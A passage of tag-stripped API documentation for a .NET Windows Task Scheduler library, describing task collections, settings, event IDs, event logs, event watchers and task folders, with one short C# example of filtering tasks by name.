. + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is 